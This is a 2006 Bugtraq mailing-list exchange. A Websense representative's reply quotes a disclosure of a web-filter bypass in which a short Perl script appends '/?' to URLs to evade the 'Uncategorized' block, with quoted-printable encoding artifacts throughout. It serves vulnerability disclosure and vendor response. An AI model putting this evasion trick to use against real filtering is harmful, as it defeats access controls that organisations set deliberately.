RE: [BULK] - Websense Filter Bypass

[Hubbard, Dan]

All;

We have received this report and are investigating. Our preliminary
tests show that this only works when customers block the uncategorized
URL category and allow the dynamic content category.

If you do not block uncategorized you should not be affected.=20





-----Original Message-----
From: qex@bsdmail.org [mailto:qex@bsdmail.org]=20
Sent: Thursday, April 20, 2006 5:04 AM
To: bugtraq@securityfocus.com
Subject: [BULK] - Websense Filter Bypass

#!/usr/bin/perl -w
#
# Websense Filter Bypass
#
# =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3 D=3D=3D=3D
# Discovered by: Qex
# Date: 19 April 2006
# =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3 D=3D=3D=3D
#
# Bypass any website that is in the "Uncategorized" Websense Category #
simply by adding a question mark (?) at the end of the URL.

print q(
Websense Filter Bypass

=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3 D=3D=3D=3D
Discovered by: Qex
Date: 19 April 2006
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3 D=3D=3D=3D
)

print "Enter URL:\n";

$url =3D <STDIN>;

chomp $url;

$bypass =3D "$url/?";


print "\nURL: \n$bypass\n";